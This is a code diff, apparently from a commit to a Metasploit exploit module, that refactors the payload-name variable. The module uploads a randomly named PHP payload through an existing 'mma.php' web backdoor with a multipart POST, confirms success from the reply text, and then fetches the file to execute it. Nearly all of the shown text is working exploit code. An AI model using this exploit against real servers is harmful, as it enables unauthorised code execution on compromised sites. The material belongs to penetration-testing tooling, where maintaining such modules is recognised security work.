@@ -64,14 +64,14 @@ def check
64
64
65
65
def exploit
66
66
uri = normalize_uri ( target_uri . path )
67
- @ payload_name = "#{ rand_text_alpha ( 5 ) } .php"
67
+ payload_name = "#{ rand_text_alpha ( 5 ) } .php"
68
68
69
- print_status ( "#{ peer } - Trying to upload #{ @ payload_name} to mma.php Backdoor" )
69
+ print_status ( "#{ peer } - Trying to upload #{ payload_name } to mma.php Backdoor" )
70
70
71
71
data = Rex ::MIME ::Message . new
72
72
73
73
data . add_part ( 'Upload' , nil , nil , 'form-data; name="_upl"' )
74
- data . add_part ( payload . encoded , 'application/octet-stream' , nil , "form-data; name=\" file\" ; filename=\" #{ @ payload_name} \" " )
74
+ data . add_part ( payload . encoded , 'application/octet-stream' , nil , "form-data; name=\" file\" ; filename=\" #{ payload_name } \" " )
75
75
post_data = data . to_s
76
76
77
77
res = send_request_cgi ( {
@@ -83,17 +83,17 @@ def exploit
83
83
84
84
if res
85
85
if res . body =~ /uplod d0n3 in SAME file/
86
- print_good ( "#{ peer } - Our payload #{ @ payload_name} has been uploaded. Calling payload..." )
87
- register_files_for_cleanup ( @ payload_name)
86
+ print_good ( "#{ peer } - Our payload #{ payload_name } has been uploaded. Calling payload..." )
87
+ register_files_for_cleanup ( payload_name )
88
88
else
89
89
fail_with ( Failure ::UnexpectedReply , "#{ peer } - Unable to deploy payload, server returned #{ res . code } " )
90
90
end
91
91
else
92
92
fail_with ( Failure ::Unknown , 'ERROR' )
93
93
end
94
94
95
- res = send_request_cgi ( {
96
- 'uri' => normalize_uri ( @ payload_name) ,
95
+ send_request_cgi ( {
96
+ 'uri' => normalize_uri ( payload_name ) ,
97
97
'method' => 'GET'
98
98
} )
99
99
end
0 commit comments